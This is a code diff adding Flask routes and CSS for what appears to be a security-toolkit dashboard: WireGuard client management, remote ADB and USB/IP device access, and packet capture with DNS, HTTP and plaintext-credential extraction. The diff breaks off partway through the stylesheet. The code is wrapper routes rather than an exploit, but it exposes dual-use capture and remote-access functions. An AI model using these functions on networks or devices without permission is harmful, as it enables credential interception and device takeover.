-0,0 +1,256 @@ +"""WireGuard VPN Manager routes — server, clients, remote ADB, USB/IP.""" + +from flask import Blueprint, render_template, request, jsonify, Response +from web.auth import login_required + +wireguard_bp = Blueprint('wireguard', __name__, url_prefix='/wireguard') + + +def _mgr(): + from core.wireguard import get_wireguard_manager + return get_wireguard_manager() + + +def _json(): + """Get JSON body or empty dict.""" + return request.get_json(silent=True) or {} + + +# ── Main Page ──────────────────────────────────────────────────────── + +@wireguard_bp.route('/') +@login_required +def index(): + mgr = _mgr() + available = mgr.is_available() + usbip = mgr.get_usbip_status() + return render_template('wireguard.html', + wg_available=available, + usbip_status=usbip) + + +# ── Server ─────────────────────────────────────────────────────────── + +@wireguard_bp.route('/server/status', methods=['POST']) +@login_required +def server_status(): + return jsonify(_mgr().get_server_status()) + + +@wireguard_bp.route('/server/start', methods=['POST']) +@login_required +def server_start(): + return jsonify(_mgr().start_interface()) + + +@wireguard_bp.route('/server/stop', methods=['POST']) +@login_required +def server_stop(): + return jsonify(_mgr().stop_interface()) + + +@wireguard_bp.route('/server/restart', methods=['POST']) +@login_required +def server_restart(): + return jsonify(_mgr().restart_interface()) + + +# ── Clients ────────────────────────────────────────────────────────── + +@wireguard_bp.route('/clients/list', methods=['POST']) +@login_required +def clients_list(): + mgr = _mgr() + clients = mgr.get_all_clients() + peer_status = mgr.get_peer_status() + # Merge peer status into client data + for c in clients: + ps = peer_status.get(c.get('public_key', ''), {}) + c['peer_status'] = ps + hs = ps.get('latest_handshake') + if hs is not None and hs < 180: + c['online'] = True + else: + c['online'] = False + return jsonify({'clients': clients, 'count': len(clients)}) + + +@wireguard_bp.route('/clients/create', methods=['POST']) +@login_required +def clients_create(): + data = _json() + name = data.get('name', '').strip() + if not name: + return jsonify({'ok': False, 'error': 'Name required'}) + dns = data.get('dns', '').strip() or None + allowed_ips = data.get('allowed_ips', '').strip() or None + return jsonify(_mgr().create_client(name, dns=dns, allowed_ips=allowed_ips)) + + +@wireguard_bp.route('/clients/', methods=['POST']) +@login_required +def clients_detail(client_id): + mgr = _mgr() + client = mgr.get_client(client_id) + if not client: + return jsonify({'error': 'Client not found'}) + peer_status = mgr.get_peer_status() + ps = peer_status.get(client.get('public_key', ''), {}) + client['peer_status'] = ps + hs = ps.get('latest_handshake') + client['online'] = hs is not None and hs < 180 + return jsonify(client) + + +@wireguard_bp.route('/clients//toggle', methods=['POST']) +@login_required +def clients_toggle(client_id): + data = _json() + enabled = data.get('enabled', True) + return jsonify(_mgr().toggle_client(client_id, enabled)) + + +@wireguard_bp.route('/clients//delete', methods=['POST']) +@login_required +def clients_delete(client_id): + return jsonify(_mgr().delete_client(client_id)) + + +@wireguard_bp.route('/clients//config', methods=['POST']) +@login_required +def clients_config(client_id): + mgr = _mgr() + client = mgr.get_client(client_id) + if not client: + return jsonify({'error': 'Client not found'}) + config_text = mgr.generate_client_config(client) + return jsonify({'ok': True, 'config': config_text, 'name': client['name']}) + + +@wireguard_bp.route('/clients//download') +@login_required +def clients_download(client_id): + mgr = _mgr() + client = mgr.get_client(client_id) + if not client: + return 'Not found', 404 + config_text = mgr.generate_client_config(client) + filename = f"{client['name']}.conf" + return Response( + config_text, + mimetype='text/plain', + headers={'Content-Disposition': f'attachment; filename="{filename}"'}) + + +@wireguard_bp.route('/clients//qr') +@login_required +def clients_qr(client_id): + mgr = _mgr() + client = mgr.get_client(client_id) + if not client: + return 'Not found', 404 + config_text = mgr.generate_client_config(client) + png_bytes = mgr.generate_qr_code(config_text) + if not png_bytes: + return 'QR code generation failed (qrcode module missing?)', 500 + return Response(png_bytes, mimetype='image/png') + + +@wireguard_bp.route('/clients/import', methods=['POST']) +@login_required +def clients_import(): + return jsonify(_mgr().import_existing_peers()) + + +# ── Remote ADB ─────────────────────────────────────────────────────── + +@wireguard_bp.route('/adb/connect', methods=['POST']) +@login_required +def adb_connect(): + data = _json() + ip = data.get('ip', '').strip() + if not ip: + return jsonify({'ok': False, 'error': 'IP required'}) + return jsonify(_mgr().adb_connect(ip)) + + +@wireguard_bp.route('/adb/disconnect', methods=['POST']) +@login_required +def adb_disconnect(): + data = _json() + ip = data.get('ip', '').strip() + if not ip: + return jsonify({'ok': False, 'error': 'IP required'}) + return jsonify(_mgr().adb_disconnect(ip)) + + +@wireguard_bp.route('/adb/auto-connect', methods=['POST']) +@login_required +def adb_auto_connect(): + return jsonify(_mgr().auto_connect_peers()) + + +@wireguard_bp.route('/adb/devices', methods=['POST']) +@login_required +def adb_devices(): + devices = _mgr().get_adb_remote_devices() + return jsonify({'devices': devices, 'count': len(devices)}) + + +# ── USB/IP ─────────────────────────────────────────────────────────── + +@wireguard_bp.route('/usbip/status', methods=['POST']) +@login_required +def usbip_status(): + return jsonify(_mgr().get_usbip_status()) + + +@wireguard_bp.route('/usbip/load-modules', methods=['POST']) +@login_required +def usbip_load_modules(): + return jsonify(_mgr().load_usbip_modules()) + + +@wireguard_bp.route('/usbip/list-remote', methods=['POST']) +@login_required +def usbip_list_remote(): + data = _json() + ip = data.get('ip', '').strip() + if not ip: + return jsonify({'ok': False, 'error': 'IP required'}) + return jsonify(_mgr().usbip_list_remote(ip)) + + +@wireguard_bp.route('/usbip/attach', methods=['POST']) +@login_required +def usbip_attach(): + data = _json() + ip = data.get('ip', '').strip() + busid = data.get('busid', '').strip() + if not ip or not busid: + return jsonify({'ok': False, 'error': 'IP and busid required'}) + return jsonify(_mgr().usbip_attach(ip, busid)) + + +@wireguard_bp.route('/usbip/detach', methods=['POST']) +@login_required +def usbip_detach(): + data = _json() + port = data.get('port', '').strip() if isinstance(data.get('port'), str) else str(data.get('port', '')) + if not port: + return jsonify({'ok': False, 'error': 'Port required'}) + return jsonify(_mgr().usbip_detach(port)) + + +@wireguard_bp.route('/usbip/ports', methods=['POST']) +@login_required +def usbip_ports(): + return jsonify(_mgr().usbip_port_status()) + + +# ── UPnP ───────────────────────────────────────────────────────────── + +@wireguard_bp.route('/upnp/refresh', methods=['POST']) +@login_required +def upnp_refresh(): + return jsonify(_mgr().refresh_upnp_mapping()) diff --git a/web/routes/wireshark.py b/web/routes/wireshark.py new file mode 100644 index 0000000..7725dc9 --- /dev/null +++ b/web/routes/wireshark.py @@ -0,0 +1,193 @@ +"""Wireshark/Packet Analysis route - capture, PCAP analysis, protocol/DNS/HTTP/credential analysis.""" + +import json +from pathlib import Path +from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context +from web.auth import login_required + +wireshark_bp = Blueprint('wireshark', __name__, url_prefix='/wireshark') + + +@wireshark_bp.route('/') +@login_required +def index(): + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + status = mgr.get_status() + return render_template('wireshark.html', status=status) + + +@wireshark_bp.route('/status') +@login_required +def status(): + """Get engine status.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + return jsonify(mgr.get_status()) + + +@wireshark_bp.route('/interfaces') +@login_required +def interfaces(): + """List network interfaces.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + return jsonify({'interfaces': mgr.list_interfaces()}) + + +@wireshark_bp.route('/capture/start', methods=['POST']) +@login_required +def capture_start(): + """Start packet capture.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + + data = request.get_json(silent=True) or {} + interface = data.get('interface', '').strip() or None + bpf_filter = data.get('filter', '').strip() or None + duration = int(data.get('duration', 30)) + + result = mgr.start_capture( + interface=interface, + bpf_filter=bpf_filter, + duration=duration, + ) + return jsonify(result) + + +@wireshark_bp.route('/capture/stop', methods=['POST']) +@login_required +def capture_stop(): + """Stop running capture.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + return jsonify(mgr.stop_capture()) + + +@wireshark_bp.route('/capture/stats') +@login_required +def capture_stats(): + """Get capture statistics.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + return jsonify(mgr.get_capture_stats()) + + +@wireshark_bp.route('/capture/stream') +@login_required +def capture_stream(): + """SSE stream of live capture packets.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + + def generate(): + import time + last_count = 0 + while mgr._capture_running: + stats = mgr.get_capture_stats() + count = stats.get('packet_count', 0) + + if count > last_count: + # Send new packets + new_packets = mgr._capture_packets[last_count:count] + for pkt in new_packets: + yield f'data: {json.dumps({"type": "packet", **pkt})}\n\n' + last_count = count + + yield f'data: {json.dumps({"type": "stats", "packet_count": count, "running": True})}\n\n' + time.sleep(0.5) + + # Final stats + stats = mgr.get_capture_stats() + yield f'data: {json.dumps({"type": "done", **stats})}\n\n' + + return Response(stream_with_context(generate()), content_type='text/event-stream') + + +@wireshark_bp.route('/pcap/analyze', methods=['POST']) +@login_required +def analyze_pcap(): + """Analyze a PCAP file (by filepath).""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + + data = request.get_json(silent=True) or {} + filepath = data.get('filepath', '').strip() + max_packets = int(data.get('max_packets', 5000)) + + if not filepath: + return jsonify({'error': 'No filepath provided'}) + + p = Path(filepath) + if not p.exists(): + return jsonify({'error': f'File not found: {filepath}'}) + if not p.suffix.lower() in ('.pcap', '.pcapng', '.cap'): + return jsonify({'error': 'File must be .pcap, .pcapng, or .cap'}) + + result = mgr.read_pcap(filepath, max_packets=max_packets) + + # Limit packet list sent to browser + if 'packets' in result and len(result['packets']) > 500: + result['packets'] = result['packets'][:500] + result['truncated'] = True + + return jsonify(result) + + +@wireshark_bp.route('/analyze/protocols', methods=['POST']) +@login_required +def analyze_protocols(): + """Get protocol hierarchy from loaded packets.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + return jsonify(mgr.get_protocol_hierarchy()) + + +@wireshark_bp.route('/analyze/conversations', methods=['POST']) +@login_required +def analyze_conversations(): + """Get IP conversations.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + return jsonify({'conversations': mgr.extract_conversations()}) + + +@wireshark_bp.route('/analyze/dns', methods=['POST']) +@login_required +def analyze_dns(): + """Get DNS queries.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + return jsonify({'queries': mgr.extract_dns_queries()}) + + +@wireshark_bp.route('/analyze/http', methods=['POST']) +@login_required +def analyze_http(): + """Get HTTP requests.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + return jsonify({'requests': mgr.extract_http_requests()}) + + +@wireshark_bp.route('/analyze/credentials', methods=['POST']) +@login_required +def analyze_credentials(): + """Detect plaintext credentials.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + return jsonify({'credentials': mgr.extract_credentials()}) + + +@wireshark_bp.route('/export', methods=['POST']) +@login_required +def export(): + """Export packets.""" + from core.wireshark import get_wireshark_manager + mgr = get_wireshark_manager() + + data = request.get_json(silent=True) or {} + fmt = data.get('format', 'json') + + result = mgr.export_packets(fmt=fmt) + return jsonify(result) diff --git a/web/static/css/style.css b/web/static/css/style.css new file mode 100644 index 0000000..d3edd69 --- /dev/null +++ b/web/static/css/style.css @@ -0,0 +1,789 @@ +:root { + --bg-primary: #0f1117; + --bg-secondary: #1a1d27; + --bg-card: #222536; + --bg-input: #2a2d3e; + --border: #333650; + --text-primary: #e4e6f0; + --text-secondary: #8b8fa8; + --text-muted: #5c6078; + --accent: #6366f1; + --accent-hover: #818cf8; + --success: #22c55e; + --warning: #f59e0b; + --danger: #ef4444; + --danger-hover: #dc2626; + --defense: #3b82f6; + --offense: #ef4444; + --counter: #a855f7; + --analyze: #06b6d4; + --osint: #22c55e; + --simulate: #f59e0b; + --hardware: #f97316; + --radius: 8px; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +body { + font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; + background: var(--bg-primary); + color: var(--text-primary); + line-height: 1.6; +} + +a { color: var(--accent); text-decoration: none; } +a:hover { color: var(--accent-hover); } +code { background: var(--bg-input); padding: 2px 6px; border-radius: 4px; font-size: 0.85em; word-break: break-all; } +pre { background: var(--bg-primary); border: 1px solid var(--border); border-radius: var(--radius); padding: 16px; font-size: 0.85rem; overflow-x: auto; white-space: pre-wrap; word-break: break-all; } + +/* Layout */ +.layout { display: flex; min-height: 100vh; } +.sidebar { + width: 240px; + background: var(--bg-secondary); + border-right: 1px solid var(--border); + display: flex; + flex-direction: column; + position: fixed; + height: 100vh; + overflow-y: auto; +} +.sidebar-header { padding: 24px 20px 16px; border-bottom: 1px solid var(--border); } +.sidebar-header h2 { font-size: 1.25rem; font-weight: 700; color: var(--danger); } +.subtitle { color: var(--text-secondary); font-size: 0.75rem; letter-spacing: 0.05em; } + +.nav-section { padding: 8px 0; } +.nav-section-title { padding: 8px 20px 4px; font-size: 0.7rem; text-transform: uppercase; letter-spacing: 0.08em; color: var(--text-muted); } +.nav-links { list-style: none; padding: 0; } +.nav-links li a { + display: block; + padding: 8px 20px; + color: var(--text-secondary); + transition: all 0.15s; + font-size: 0.9rem; +} +.nav-links li a:hover { color: var(--text-primary); background: var(--bg-card); } +.nav-links li a.active { color: var(--accent); background: rgba(99,102,241,0.1); border-right: 3px solid var(--accent); } + +.sidebar-footer { + padding: 16px 20px; + border-top: 1px solid var(--border); + display: flex; + justify-content: space-between; + align-items: center; + margin-top: auto; +} +.admin-name { color: var(--text-secondary); font-size: 0.85rem; } +.logout-link { color: var(--text-muted); font-size: 0.85rem; } +.logout-link:hover { color: var(--danger); } + +.content { flex: 1; margin-left: 240px; padding: 32px; max-width: 1200px; } + +/* Login */ +.login-wrapper { + display: flex; flex-direction: column; align-items: center; + justify-content: center; min-height: 100vh; padding: 20px; +} +.login-card { + background: var(--bg-secondary); border: 1px solid var(--border); + border-radius: var(--radius); padding: 40px; width: 100%; max-width: 380px; text-align: center; +} +.login-card h1 { margin-bottom: 4px; color: var(--danger); } +.login-subtitle { color: var(--text-secondary); margin-bottom: 28px; font-size: 0.9rem; } + +/* Flash messages */ +.flash-messages { margin-bottom: 20px; } +.flash { padding: 12px 16px; border-radius: var(--radius); margin-bottom: 8px; font-size: 0.9rem; } +.flash-success { background: rgba(34,197,94,0.15); color: var(--success); border: 1px solid rgba(34,197,94,0.3); } +.flash-error { background: rgba(239,68,68,0.15); color: var(--danger); border: 1px solid rgba(239,68,68,0.3); } +.flash-warning { background: rgba(245,158,11,0.15); color: var(--warning); border: 1px solid rgba(245,158,11,0.3); } +.flash-info { background: rgba(99,102,241,0.15); color: var(--accent); border: 1px solid rgba(99,102,241,0.3); } + +/* Forms */ +.form-group { margin-bottom: 16px; text-align: left; } +.form-group label { display: block; margin-bottom: 6px; font-size: 0.85rem; color: var(--text-secondary); } +.form-group input, .form-group select, .form-group textarea { + width: 100%; padding: 10px 12px; background: var(--bg-input); + border: 1px solid var(--border); border-radius: var(--radius); + color: var(--text-primary); font-size: 0.9rem; +} +.form-group input:focus, .form-group select:focus, .form-group textarea:focus { outline: none; border-color: var(--accent); } +.form-group textarea { font-family: monospace; resize: vertical; } +.form-row { display: flex; gap: 12px; align-items: flex-end; flex-wrap: wrap; } +.form-row .form-group { flex: 1; min-width: 150px; } +.form-inline { display: flex; gap: 8px; align-items: flex-end; } +.form-inline .form-group { margin-bottom: 0; } +.settings-form { max-width: 500px; } +.checkbox-label { display: flex; align-items: center; gap: 8px; cursor: pointer; } +.checkbox-label input[type="checkbox"] { width: auto; } + +/* Buttons */ +.btn { + display: inline-block; padding: 10px 20px; border: none; border-radius: var(--radius); + font-size: 0.9rem; cursor: pointer; transition: all 0.15s; color: var(--text-primary); + background: var(--bg-card); border: 1px solid var(--border); text-align: center; +} +.btn:hover { background: var(--bg-input); color: var(--text-primary); } +.btn-primary { background: var(--accent); border-color: var(--accent); color: #fff; } +.btn-primary:hover { background: var(--accent-hover); border-color: var(--accent-hover); color: #fff; } +.btn-success { background: rgba(34,197,94,0.2); border-color: var(--success); color: var(--success); } +.btn-success:hover { background: rgba(34,197,94,0.3); } +.btn-warning { background: rgba(245,158,11,0.2); border-color: var(--warning); color: var(--warning); } +.btn-warning:hover { background: rgba(245,158,11,0.3); } +.btn-danger { background: rgba(239,68,68,0.2); border-color: var(--danger); color: var(--danger); } +.btn-danger:hover { background: rgba(239,68,68,0.3); } +.btn-small { padding: 6px 12px; font-size: 0.8rem; } +.btn-full { width: 100%; } +.btn-group { display: flex; gap: 8px; flex-wrap: wrap; } + +/* Page header */ +.page-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 24px; } +.page-header h1 { font-size: 1.5rem; } + +/* Stats grid */ +.stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 16px; margin-bottom: 28px; } +.stat-card { + background: var(--bg-secondary); border: 1px solid var(--border); + border-radius: var(--radius); padding: 20px; +} +.stat-label { color: var(--text-secondary); font-size: 0.8rem; text-transform: uppercase; letter-spacing: 0.05em; margin-bottom: 6px; } +.stat-value { font-size: 1.4rem; font-weight: 600; } +.stat-value.small { font-size: 1rem; } + +/* Category cards */ +.category-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); gap: 16px; margin-bottom: 28px; } +.category-card { + background: var(--bg-secondary); border: 1px solid var(--border); + border-radius: var(--radius); padding: 20px; transition: border-color 0.15s; +} +.category-card:hover { border-color: var(--accent); } +.category-card h3 { margin-bottom: 8px; } +.category-card p { color: var(--text-secondary); font-size: 0.85rem; margin-bottom: 12px; } +.category-card .badge { display: inline-block; padding: 2px 8px; border-radius: 12px; font-size: 0.75rem; } +.cat-defense { border-left: 3px solid var(--defense); } +.cat-offense { border-left: 3px solid var(--offense); } +.cat-counter { border-left: 3px solid var(--counter); } +.cat-analyze { border-left: 3px solid var(--analyze); } +.cat-osint { border-left: 3px solid var(--osint); } +.cat-simulate { border-left: 3px solid var(--simulate); } + +/* Sections */ +.section { + background: var(--bg-secondary); border: 1px solid var(--border); + border-radius: var(--radius); padding: 20px; margin-bottom: 20px; +} +.section h2 { font-size: 1rem; margin-bottom: 16px; } +.section h3 { font-size: 0.9rem; margin-bottom: 12px; color: var(--text-secondary); } + +/* Tables */ +.data-table { width: 100%; border-collapse: collapse; } +.data-table th { + text-align: left; padding: 10px 12px; font-size: 0.8rem; + color: var(--text-muted); text-transform: uppercase; + letter-spacing: 0.05em; border-bottom: 1px solid var(--border); +} +.data-table td { padding: 12px; border-bottom: 1px solid var(--border); font-size: 0.9rem; } +.data-table tr:hover { background: rgba(99,102,241,0.03); } + +/* Module list */ +.module-list { list-style: none; } +.module-item { + display: flex; justify-content: space-between; align-items: center; + padding: 12px 0; border-bottom: 1px solid var(--border); +} +.module-item:last-child { border-bottom: none; } +.module-name { font-weight: 500; } +.module-desc { color: var(--text-secondary); font-size: 0.85rem; } +.module-meta { color: var(--text-muted); font-size: 0.8rem; } + +/* Status dots */ +.status-dot { + display: inline-block; width: 8px; height: 8px; border-radius: 50%; + background: var(--text-muted); margin-right: 6px; vertical-align: middle; +} +.status-dot.active { background: var(--success); box-shadow: 0 0 6px rgba(34,197,94,0.4); } +.status-dot.inactive { background: var(--danger); } +.status-dot.warning { background: var(--warning); } + +/* OSINT Search */ +.search-box { display: flex; gap: 8px; margin-bottom: 16px; } +.search-box input { flex: 1; } +.search-options { display: flex; gap: 16px; flex-wrap: wrap; margin-bottom: 16px; align-items: center; } +.search-options label { font-size: 0.85rem; color: var(--text-secondary); } +.results-stream { max-height: 600px; overflow-y: auto; } +.result-card { + display: flex; justify-content: space-between; align-items: center; + padding: 8px 12px; border-bottom: 1px solid var(--border); font-size: 0.85rem; +} +.result-card.found { border-left: 3px solid var(--success); } +.result-card.not_found { opacity: 0.4; } +.result-card.error { border-left: 3px solid var(--danger); } +.progress-bar { height: 4px; background: var(--bg-input); border-radius: 2px; margin-bottom: 16px; } +.progress-fill { height: 100%; background: var(--accent); border-radius: 2px; transition: width 0.3s; } +.progress-text { font-size: 0.8rem; color: var(--text-muted); margin-bottom: 8px; } + +/* Empty state */ +.empty-state { color: var(--text-muted); text-align: center; padding: 32px; } + +/* Tool grid & cards */ +.tool-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 12px; margin-bottom: 20px; } +.tool-card { + background: var(--bg-card); border: 1px solid var(--border); + border-radius: var(--radius); padding: 16px; cursor: pointer; transition: all 0.15s; +} +.tool-card:hover { border-color: var(--accent); transform: translateY(-1px); } +.tool-card h4 { margin-bottom: 4px; font-size: 0.9rem; } +.tool-card p { color: var(--text-secondary); font-size: 0.8rem; margin-bottom: 10px; } +.tool-card .btn { width: 100%; } +.tool-card .tool-result { margin-top: 12px; display: none; } +.tool-card .tool-result.visible { display: block; } + +/* Output panel (terminal-like) */ +.output-panel { + background: var(--bg-primary); border: 1px solid var(--border); + border-radius: var(--radius); padding: 14px; font-family: monospace; + font-size: 0.82rem; white-space: pre-wrap; word-break: break-all; + color: var(--text-primary); line-height: 1.5; min-height: 40px; +} +.output-panel.scrollable { max-height: 400px; overflow-y: auto; } +.output-panel:empty::after { content: 'No output yet.'; color: var(--text-muted); } + +/* Tab bar */ +.tab-bar { display: flex; gap: 0; border-bottom: 1px solid var(--border); margin-bottom: 16px; } +.tab { + padding: 8px 16px; font-size: 0.85rem; color: var(--text-secondary); + cursor: pointer; border-bottom: 2px solid transparent; transition: all 0.15s; + background: none; border-top: none; border-left: none; border-right: none; +} +.tab:hover { color: var(--text-primary); } +.tab.active { color: var(--accent); border-bottom-color: var(--accent); } +.tab-content { display: none; } +.tab-content.active { display: block; } + +/* Severity/status badges */ +.badge { display: inline-block; padding: 2px 8px; border-radius: 12px; font-size: 0.75rem; font-weight: 500; } +.badge-high { background: rgba(239,68,68,0.2); color: var(--danger); } +.badge-medium { background: rgba(245,158,11,0.2); color: var(--warning); } +.badge-low { background: rgba(99,102,241,0.2); color: var(--accent); } +.badge-pass { background: rgba(34,197,94,0.2); color: var(--success); } +.badge-fail { background: rgba(239,68,68,0.2); color: var(--danger); } +.badge-info { background: rgba(6,182,212,0.2); color: var(--analyze); } + +/* Score display */ +.score-display { text-align: center; padding: 20px; } +.score-value { font-size: 3rem; font-weight: 700; line-height: 1; } +.score-label { font-size: 0.85rem; color: var(--text-secondary); margin-top: 4px; } + +/* Tool actions row */ +.tool-actions { display: flex; gap: 8px; flex-wrap: wrap; margin-bottom: 16px; } + +/* Inline form row (like search bars inside sections) */ +.input-row { display: flex; gap: 8px; margin-bottom: 12px; align-items: flex-end; } +.input-row input, .input-row select { flex: 1; padding: 8px 12px; background: var(--bg-input); border: 1px solid var(--border); border-radius: var(--radius); color: var(--text-primary); font-size: 0.9rem; } +.input-row input:focus, .input-row select:focus { outline: none; border-color: var(--accent); } +.input-row .btn { white-space: nowrap; } + +/* Threat list items */ +.threat-item { padding: 10px 12px; border-bottom: 1px solid var(--border); display: flex; gap: 10px; align-items: flex-start; } +.threat-item:last-child { border-bottom: none; } +.threat-item .badge { flex-shrink: 0; margin-top: 2px; } +.threat-message { font-size: 0.85rem; } +.threat-category { font-size: 0.75rem; color: var(--text-muted); } + +/* Status indicator */ +.status-indicator { display: flex; align-items: center; gap: 6px; font-size: 0.9rem; } +.status-indicator .status-dot { margin-right: 0; } + +/* Copy button for payloads */ +.payload-item { display: flex; justify-content: space-between; align-items: center; padding: 6px 0; border-bottom: 1px solid var(--border); font-family: monospace; font-size: 0.82rem; } +.payload-item:last-child { border-bottom: none; } +.payload-item code { flex: 1; margin-right: 8px; } + +/* OSINT Category Checkbox Grid */ +.category-checkboxes { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(160px, 1fr)); + gap: 6px; + max-height: 200px; + overflow-y: auto; + padding: 8px; + background: var(--bg-primary); + border: 1px solid var(--border); + border-radius: var(--radius); +} +.category-checkboxes label { + display: flex; + align-items: center; + gap: 6px; + font-size: 0.8rem; + color: var(--text-secondary); + cursor: pointer; + padding: 4px 6px; + border-radius: 4px; +} +.category-checkboxes label:hover { background: var(--bg-card); color: var(--text-primary); } +.category-checkboxes .cat-count { color: var(--text-muted); font-size: 0.72rem; } +.cat-select-all { margin-bottom: 6px; font-size: 0.8rem; } + +/* Advanced Options Panel */ +.advanced-panel { margin-top: 12px; } +.advanced-toggle { + font-size: 0.82rem; + color: var(--text-secondary); + cursor: pointer; + user-select: none; + display: inline-flex; + align-items: center; + gap: 4px; +} +.advanced-toggle:hover { color: var(--text-primary); } +.advanced-toggle .arrow { transition: transform 0.2s; display: inline-block; } +.advanced-toggle .arrow.open { transform: rotate(90deg); } +.advanced-body { + display: none; + margin-top: 10px; + padding: 14px; + background: var(--bg-primary); + border: 1px solid var(--border); + border-radius: var(--radius); +} +.advanced-body.visible { display: block; } +.advanced-body .form-row { margin-bottom: 10px; } +.advanced-body .form-row:last-child { margin-bottom: 0; } + +/* Confidence Bar */ +.confidence-bar { + display: inline-block; + width: 60px; + height: 6px; + background: var(--bg-input); + border-radius: 3px; + overflow: hidden; + vertical-align: middle; + margin-left: 6px; +} +.confidence-bar .fill { + height: 100%; + border-radius: 3px; + transition: width 0.3s; +} +.confidence-bar .fill.high { background: var(--success); } +.confidence-bar .fill.medium { background: var(--warning); } +.confidence-bar .fill.low { background: var(--danger); } + +/* OSINT Result Cards Enhanced */ +.result-card .result-detail { + display: none; + margin-top: 6px; + padding: 8px; + background: var(--bg-primary); + border-radius: 4px; + font-size: 0.78rem; + color: var(--text-secondary); +} +.result-card .result-detail.visible { display: block; } +.result-card.found { cursor: pointer; } +.result-card.maybe { border-left: 3px solid var(--warning); cursor: pointer; } +.result-card.filtered { border-left: 3px solid var(--text-muted); opacity: 0.5; } +.result-card.restricted { border-left: 3px solid var(--counter); } + +/* Result Filters */ +.result-filters { display: flex; gap: 8px; margin-bottom: 12px; align-items: center; flex-wrap: wrap; } +.result-filters .filter-btn { + padding: 4px 10px; + font-size: 0.78rem; + border-radius: 12px; + border: 1px solid var(--border); + background: var(--bg-card); + color: var(--text-secondary); + cursor: pointer; +} +.result-filters .filter-btn.active { border-color: var(--accent); color: var(--accent); background: rgba(99,102,241,0.1); } +.result-filters .filter-btn:hover { color: var(--text-primary); } + +/* Summary Stats Bar */ +.osint-summary { + display: flex; + gap: 20px; + padding: 12px 16px; + background: var(--bg-card); + border-radius: var(--radius); + margin-bottom: 16px; + flex-wrap: wrap; +} +.osint-summary .stat { + font-size: 0.82rem; +} +.osint-summary .stat-num { font-weight: 600; margin-right: 4px; } +.osint-summary .stat-label { color: var(--text-secondary); } + +/* Dossier Cards */ +.dossier-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 12px; } +.dossier-card { + background: var(--bg-card); + border: 1px solid var(--border); + border-radius: var(--radius); + padding: 16px; + transition: border-color 0.15s; +} +.dossier-card:hover { border-color: var(--accent); } +.dossier-card h4 { margin-bottom: 6px; font-size: 0.9rem; } +.dossier-card .dossier-meta { font-size: 0.78rem; color: var(--text-muted); margin-bottom: 8px; } +.dossier-card .dossier-stats { font-size: 0.82rem; color: var(--text-secondary); } +.dossier-card .dossier-actions { display: flex; gap: 6px; margin-top: 10px; } + +/* Stop button */ +.btn-stop { background: rgba(239,68,68,0.2); border-color: var(--danger); color: var(--danger); } +.btn-stop:hover { background: rgba(239,68,68,0.3); } + +/* Hardware */ +.cat-hardware { border-left: 3px solid var(--hardware); } + +.device-list { margin-bottom: 16px; } +.device-row { + display: flex; align-items: center; gap: 12px; + padding: 10px 12px; border-bottom: 1px solid var(--border); + cursor: pointer; transition: background 0.15s; font-size: 0.85rem; +} +.device-row:hover { background: var(--bg-card); } +.device-row.selected { background: rgba(99,102,241,0.08); border-left: 3px solid var(--accent); } +.device-row .device-serial { font-weight: 500; min-width: 120px; } +.device-row .device-model { color: var(--text-secondary); flex: 1; } +.device-row .device-state { font-size: 0.78rem; } + +.device-actions { margin-top: 16px; } +.device-info-grid { + display: grid; grid-template-columns: repeat(auto-fill, minmax(200px, 1fr)); + gap: 8px; margin-bottom: 16px; +} +.device-info-grid .info-item { font-size: 0.85rem; } +.device-info-grid .info-label { color: var(--text-muted); font-size: 0.75rem; text-transform: uppercase; } +.device-info-grid .info-value { font-weight: 500; } + +.serial-monitor { + background: #0a0a0a; border: 1px solid var(--border); + border-radius: var(--radius); padding: 12px; font-family: monospace; + font-size: 0.78rem; color: #00ff41; max-height: 350px; overflow-y: auto; + white-space: pre-wrap; word-break: break-all; min-height: 150px; +} +.serial-input-row { + display: flex; gap: 8px; margin-top: 8px; +} +.serial-input-row input { + flex: 1; padding: 8px 12px; background: var(--bg-input); + border: 1px solid var(--border); border-radius: var(--radius); + color: var(--text-primary); font-family: monospace; font-size: 0.85rem; +} +.serial-input-row input:focus { outline: none; border-color: var(--accent); } + +.hw-progress { + background: var(--bg-input); border-radius: 4px; height: 20px; + margin: 12px 0; overflow: hidden; position: relative; +} +.hw-progress-fill { + height: 100%; background: var(--accent); border-radius: 4px; + transition: width 0.3s; position: relative; +} +.hw-progress-text { + position: absolute; right: 8px; top: 50%; transform: translateY(-50%); + font-size: 0.72rem; color: var(--text-primary); font-weight: 500; +} + +.confirm-dialog { + background: var(--bg-card); border: 1px solid var(--danger); + border-radius: var(--radius); padding: 16px; margin: 12px 0; +} +.confirm-dialog p { font-size: 0.85rem; margin-bottom: 12px; color: var(--warning); } + +/* Hardware Mode Switcher */ +.hw-mode-bar { + display: flex; align-items: center; gap: 12px; margin-bottom: 16px; + padding: 12px 16px; background: var(--bg-card); border: 1px solid var(--border); + border-radius: var(--radius); flex-wrap: wrap; +} +.hw-mode-label { font-size: 0.85rem; color: var(--text-muted); font-weight: 500; } +.hw-mode-toggle { display: flex; gap: 0; border: 1px solid var(--border); border-radius: var(--radius); overflow: hidden; } +.hw-mode-btn { + background: var(--bg-input); border: none; padding: 8px 16px; cursor: pointer; + color: var(--text-muted); 